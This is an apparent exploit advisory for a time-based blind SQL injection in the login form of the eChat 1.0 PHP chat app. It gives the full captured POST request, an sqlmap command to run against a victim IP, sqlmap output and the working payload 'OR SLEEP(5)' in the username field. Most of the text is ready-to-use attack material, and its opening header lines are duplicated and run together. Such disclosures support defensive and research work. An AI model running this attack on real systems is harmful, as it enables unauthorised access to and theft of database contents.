Vulnerabilities

eChat 1.0 SQL Injection

# Exploit Title: eChat | Time-Based Blind SQL Injection
# Exploit Author: sml@lacashita.com
# Date: 2021-02-21
# Vendor Homepage:
https://www.sourcecodester.com/php/10498 # Exploit Title: eChat | Time-Based Blind SQL Injection
# Exploit Author: sml@lacashita.com
# Date: 2021-02-21
# Vendor Homepage:
https://www.sourcecodester.com/php/10498/echat-simple-chat-system-app-using-phpmysql.html
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/oretnom23/echat.zip
# Version: 1.0
# Tested On: Debian 10

POST /confirm-login.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://TARGET
DNT: 1
Connection: close
Referer: http://TARGET/login.php
Cookie: PHPSESSID=u6le3347is6787pqpdrj00vedv
Upgrade-Insecure-Requests: 1

username=sml&password=lovesyou

2) Replace TARGET by the VICTIM_IP.
3) run sqlmap -r <file> --level 3 --risk 3

The result will show that username parameter is vulnerable:
[18:58:16] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 OR time-based blind' injectable
[18:59:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:59:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other
(potential) technique found
[18:59:25] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[18:59:26] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[18:59:26] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[18:59:26] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[18:59:26] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 1575 HTTP(s) requests:
---
Parameter: username (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: username=sml' OR SLEEP(5)-- OOIy&password=lovesyou
---

Share your comment publicly